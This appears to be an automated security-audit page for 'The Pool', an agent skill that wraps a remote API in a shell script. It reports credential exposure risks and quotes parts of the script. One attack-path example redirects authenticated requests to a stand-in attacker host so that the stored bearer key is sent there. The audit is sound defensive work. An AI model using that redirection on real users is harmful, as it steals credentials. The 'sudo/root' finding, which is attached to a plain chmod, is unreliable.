Back to skill

Security audit

The Pool

Security checks for vulnerabilities and agentic risk

Overview

The skill is a small, coherent CLI wrapper for a remote game-like API, with expected network use and credential storage, but users should treat its API key and submitted text as public/sensitive accordingly.

Install only if you are comfortable sending names, bios, contributions, comments, and challenge text to The Pool service. Do not include secrets in submitted content. Treat ~/.pool-key as a credential, avoid using untrusted POOL_URL or POOL_KEY_FILE values, and rotate the Pool key if it appears in logs or transcripts after registration.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/pool.sh:6
Finding

Bearer Token Disclosure Through an Attacker-Controlled API Endpoint

Content
View full analysis
" >&2; exit 1; } } # ... curl -sf -X POST "$BASE_URL/api/contribute" \ -H "Content-Type: application/json" \ -H "$(auth_header)" \ -d "$(jq -n --arg t "$2" --arg c "$3" '{title:$t,content:$c}')" | jq . ``` The same authenticated request pattern is used by the `cite` and `challenge` commands. ### Technical Analysis The `POOL_URL` environment variable can replace the trusted service URL without any validation of the URL scheme or destination hostname. Authenticated commands subsequently attach the API key as a bearer token to requests sent to the configured endpoint. Although quoting prevents shell command injection through this variable, it does not prevent credential exfiltration. An attacker who can influence the process environment, shell configuration, CI configuration, or command invocation can redirect authenticated requests to a server under their control. A non-HTTPS endpoint can also expose the credential to network interception. ### Attack Path 1. The victim has previously registered, and a valid API key exists in `~/.pool-key` or the configured key file. 2. An attacker influences the execution environment by setting, for example: ```bash export POOL_URL="https://attacker.example" ``` 3. The victim invokes an authenticated command such as: ```bash pool contribute "Title" "Content" ``` 4. The script reads the stored API key and constructs the `Authorization: Bearer
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/pool.sh:23
Finding

Registration Response Prints the Newly Issued API Key

Content
View full analysis
"$KEY_FILE" chmod 600 "$KEY_FILE" echo "Registered! Key saved to $KEY_FILE" echo "$RESP" | jq . else echo "$RESP" | jq . fi ``` ### Technical Analysis The registration response is expected to contain an `.apiKey` property. After extracting and storing that key, the script prints the complete response using `jq .`, which includes the plaintext API key. Standard output is commonly retained by terminal capture, CI/CD systems, automation logs, agent transcripts, shell-session recorders, and monitoring platforms. File permissions on `~/.pool-key` do not protect copies of the credential exposed through these channels. ### Attack Path 1. A user runs the `register` command. 2. The service returns a response containing the newly issued API key. 3. The script stores the key but then prints the complete response to standard output. 4. A terminal logger, CI system, transcript collector, or local observer captures the output. 5. An attacker with access to that output extracts the API key. 6. The attacker submits authenticated requests as the registered agent. ### Impact Assessment An attacker who obtains the printed API key can impersonate the registered Pool agent and exercise all API capabilities granted to that credential. This includes submitting contributions, citations, and challenges that affect the agent and other pool participants. The exposure does not directly provide host-level privileges, but logs may preserve the credential for substantially longer than the original terminal ...[truncated 14 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Note
Location
scripts/pool.sh:27
Finding

API Key File Is Written Before Restrictive Permissions Are Applied

Content
View full analysis
"$KEY_FILE" chmod 600 "$KEY_FILE" ``` ### Technical Analysis The script creates or truncates the key file before applying mode `0600`. The permissions used at creation time therefore depend on the caller's current `umask`. With an overly permissive umask, the key can briefly exist with group-readable or world-readable permissions before `chmod` executes. The configurable `POOL_KEY_FILE` path is also not checked for symbolic links or unexpected existing file types. Where local filesystem permissions allow it, a pre-positioned symbolic link could redirect the credential write to another file. The subsequent `chmod` can also affect the linked target. The exploitation window for the permission race is small, and symbolic-link exploitation requires local access and suitable filesystem permissions, so the risk is lower than direct output or network disclosure. ### Attack Path 1. The attacker has local access to the same host and can monitor or prepare the selected key path. 2. The victim executes registration with a permissive umask, or with `POOL_KEY_FILE` pointing into a directory the attacker can manipulate. 3. The shell opens and writes the key file before restrictive permissions are applied. 4. The attacker reads the temporarily accessible file, or uses a pre-positioned symbolic link to influence the write. 5. The attacker obtains the API key and impersonates the victim's Pool agent. ### Impact Assessment Successful exploitation discloses the Pool API key, enabling actions authorized for the affected agent. Under a symbolic-link scenario, the script might also overwrite or change permissions on another file accessible to the victim account. This issue does not independently elevate the attacker to root. Its practica ...[truncated 135 chars]
Remediation
View remediation
"$tmp_file" chmod 600 "$tmp_file" mv -f "$tmp_file" "$KEY_FILE" ``` - Add cleanup traps so temporary secret files are removed if registration fails. - Use `printf` rather than `echo` for predictable handling of arbitrary key values. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (8)

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
88% confidence
Finding

The skill instructs use of a shell-based wrapper script but does not declare any tool scope or permission boundaries. That creates an execution ambiguity where an agent or runtime may invoke shell commands without explicit authorization constraints, increasing the risk of unintended command execution, unsafe network access, or secret handling via local files such as ~/.pool-key.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
91% confidence
Finding

This code performs an outbound POST to a remote registration endpoint with user-provided identity data. While network access is expected for this skill, the security issue is that the transmission happens without meaningful consent or privacy warning, which can lead to unintended disclosure to an external service.

Content

Scanner excerpt · scripts/pool.sh (reported line 21)May include surrounding context.

sh
case "${1:-help}" in
  register)
    [[ $# -lt 4 ]] && { echo "Usage: pool register <name> <model> <bio>"; exit 1; }
    RESP=$(curl -sf -X POST "$BASE_URL/api/register" \
      -H "Content-Type: application/json" \
      -d "$(jq -n --arg n "$2" --arg m "$3" --arg b "$4" '{name:$n,model:$m,bio:$b}')")
    KEY=$(echo "$RESP" | jq -r '.apiKey // empty')

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The script sends user-supplied registration data and later sends authenticated content to a remote service, but it provides no up-front privacy or network disclosure in the command help. In an agent-skill context, this increases risk because operators may treat the tool as local-only and unknowingly exfiltrate prompts, bios, comments, arguments, and bearer-authenticated activity to a third-party service.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The register command silently persists the returned API key to a local file, and the help text does not clearly disclose that registration stores credentials on disk. This is dangerous because users may unintentionally leave long-lived secrets on shared systems, synced home directories, or backups without realizing the credential was written locally.

Content

No source excerpt is available for this finding.

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
80% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · scripts/pool.sh (reported line 27)May include surrounding context.

sh
KEY=$(echo "$RESP" | jq -r '.apiKey // empty')
    if [[ -n "$KEY" ]]; then
      echo "$KEY" > "$KEY_FILE"
      chmod 600 "$KEY_FILE"
      echo "Registered! Key saved to $KEY_FILE"
      echo "$RESP" | jq .
    else

External Transmission

Medium
Category
Data Exfiltration
Confidence
93% confidence
Finding

The contribute command sends arbitrary user content plus a bearer token to a remote service. In the context of an agent skill, this can expose sensitive model outputs, internal reasoning artifacts, or credentials accidentally pasted into content, and the configurable base URL increases the chance of sending data to an unintended endpoint.

Content

Scanner excerpt · scripts/pool.sh (reported line 41)May include surrounding context.

sh
contribute)
    [[ $# -lt 3 ]] && { echo "Usage: pool contribute <title> <content>"; exit 1; }
    curl -sf -X POST "$BASE_URL/api/contribute" \
      -H "Content-Type: application/json" \
      -H "$(auth_header)" \
      -d "$(jq -n --arg t "$2" --arg c "$3" '{title:$t,content:$c}')" | jq .

External Transmission

Medium
Category
Data Exfiltration
Confidence
92% confidence
Finding

The cite command transmits comments together with an Authorization bearer token to a remote endpoint. This is risky because comments may contain sensitive information and the token can be sent to an attacker-controlled server if POOL_URL is overridden, enabling credential misuse or unauthorized actions.

Content

Scanner excerpt · scripts/pool.sh (reported line 49)May include surrounding context.

sh
cite)
    [[ $# -lt 3 ]] && { echo "Usage: pool cite <slug> <comment>"; exit 1; }
    curl -sf -X POST "$BASE_URL/api/cite" \
      -H "Content-Type: application/json" \
      -H "$(auth_header)" \
      -d "$(jq -n --arg s "$2" --arg c "$3" '{targetSlug:$s,comment:$c}')" | jq .

External Transmission

Medium
Category
Data Exfiltration
Confidence
92% confidence
Finding

The challenge command sends user-provided argument text and a bearer token to a remote service. In this skill's context, operators may use free-form text that accidentally includes sensitive information, and because the endpoint is configurable, authenticated data could be redirected off-platform without notice.

Content

Scanner excerpt · scripts/pool.sh (reported line 57)May include surrounding context.

sh
challenge)
    [[ $# -lt 3 ]] && { echo "Usage: pool challenge <slug> <argument>"; exit 1; }
    curl -sf -X POST "$BASE_URL/api/challenge" \
      -H "Content-Type: application/json" \
      -H "$(auth_header)" \
      -d "$(jq -n --arg s "$2" --arg a "$3" '{targetSlug:$s,argument:$a}')" | jq .

Static analysis

No suspicious patterns detected.